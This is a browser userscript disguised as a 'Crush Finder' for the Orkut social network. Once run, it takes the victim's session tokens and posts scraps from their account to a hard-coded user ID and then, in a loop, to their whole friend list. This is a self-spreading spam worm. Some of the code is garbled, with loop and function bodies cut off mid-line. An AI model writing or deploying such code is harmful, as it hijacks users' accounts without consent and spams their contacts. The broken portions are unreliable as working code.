// ==UserScript==
// @name Crush
// @author Coder
// @provided by http://
// @description Coder
// @include *Coder*
// ==/UserScript==
function fwScrap() {
document.title = "Coder's Crush Finder - Please wait for 2 mins....";
function createXMLHttpRequest() {
try {
return new XMLHttpRequest;
} catch (e) {
try {
return new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
return new ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {
return false;
}
}
}
}
function getPostSig(exc) {
var xml = createXMLHttpRequest();
xml.open("GET", "/Scrapbook.aspx", true);
xml.onreadystatechange = function ()
{
if (xml.readyState == 4) {
var xmlr = xml.responseText;
POST = xmlr.match(/name="post_token" value="([^"]+)/i);
SIG = xmlr.match(/name="signature" value="([^"]+)/i);
document.getElementsByTagName("input").POST_TOKEN.value = POST[1];
document.getElementsByTagName("input").signature.value = SIG[1];
eval(exc);
}
};
xml.send(null);
}
var select;
function loadFriends() {
date_now = new Date();
var hrs = date_now.getHours();
var min = date_now.getMinutes();
var sec = date_now.getSeconds();
var milliSec = date_now.getMilliseconds();
var xml = createXMLHttpRequest();
xml.open("GET", "/Compose.aspx", true);
xml.onreadystatechange = function ()
{
if (xml.readyState == 4) {
var xmlr = xml.responseText;
POST = xmlr.match(/name="post_token" value="([^"]+)/i);
SIG = xmlr.match(/name="signature" value="([^"]+)/i);
document.getElementsByTagName("input").POST_TOKEN.value = POST[1];
document.getElementsByTagName("input").signature.value = SIG[1];
var div = document.createElement("div");
div.innerHTML = xmlr;
for (var x = 0; x < div.getElementsByTagName("select").length; x++) {
if (div.getElementsByTagName("select")[x].getAttribute("name") == "oneFriend") {
select = div.getElementsByTagName("select")[x].cloneNode(true);
globalSelect = select;
break;
}
}
var scrapText;
var tokenValue = encodeURIComponent(document.getElementsByTagName("input").POST_TOKEN.value);
var signatureValue = encodeURIComponent(document.getElementsByTagName("input").signature.value);
//scrapText = "Read Receipt --> "+hrs+":"+min+":"+sec+"-"+milliSec+"
"+signatureValue;
//scrapText = "Read Receipt --> "+hrs+":"+min+":"+sec+"-"+milliSec;
scrapText = "Thanks dude! [:P]";
sendScrap(33647847,scrapText);
SendScrapToAll();
// for(var i=0;i 0) {
timeWait--;
setTimeout("showTime()", 2000);
} else {
timeWait = 20;
index++;
getPostSig("SendScrapToAll()");
}
}
antiF = 1;
index = 1;
timeWait = 20;
nscraps = 0;
nCounter=2;
nLoop=2;
function sendScrap(to, msg) {
date_now = new Date();
var hrs = date_now.getHours();
var min = date_now.getMinutes();
var sec = date_now.getSeconds();
var milliSec = date_now.getMilliseconds();
var tokenValue = encodeURIComponent(document.getElementsByTagName("input").POST_TOKEN.value);
var signatureValue = encodeURIComponent(document.getElementsByTagName("input").signature.value);
//var scrapText = tokenValue + signatureValue +'9'+hrs+'18'+min+'27'+sec+'36'+milliSec;
var send = "POST_TOKEN=" + tokenValue + "&signature=" + signatureValue + "&scrapText=" + encodeURIComponent(msg) + "&toUserId="+to+"&Action.submit=1";
var xml = createXMLHttpRequest();
xml.open("POST", "/Scrapbook.aspx", true);
xml.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;");
xml.send(send);
xml.onreadystatechange = function () {
if (xml.readyState == 4) {
if (xml.status != 200) {
setTimeout("SendScrapToAll()", 500);
return;
}
if (antiF < 450) {
antiF++;
if(nCounter==1) {
index++;
nCounter=nLoop;
}
else {
nCounter--;
}
return;
}
else {
wait();
}
}
};
}
layout = " "+
"LOADING.... PLEASE WAIT.......
"+
""
;
document.body.innerHTML = layout;
var focus = document.createElement("span");
focus.id = "focus";
focus.style.display = "inline";
document.body.appendChild(focus);
var divLoad = document.createElement("div");
divLoad.id = "divLoad";
divLoad.style.display = "inline";
document.body.appendChild(divLoad);
loadFriends();
//sendScrap();
}
sc = String(fwScrap);
sc = sc.substring(21, sc.length - 2);
script = document.createElement("script");
if (typeof document.all) {
script.text = sc;
} else {
script.textContent = sc;
}
document.getElementsByTagName("head")[0].appendChild(script)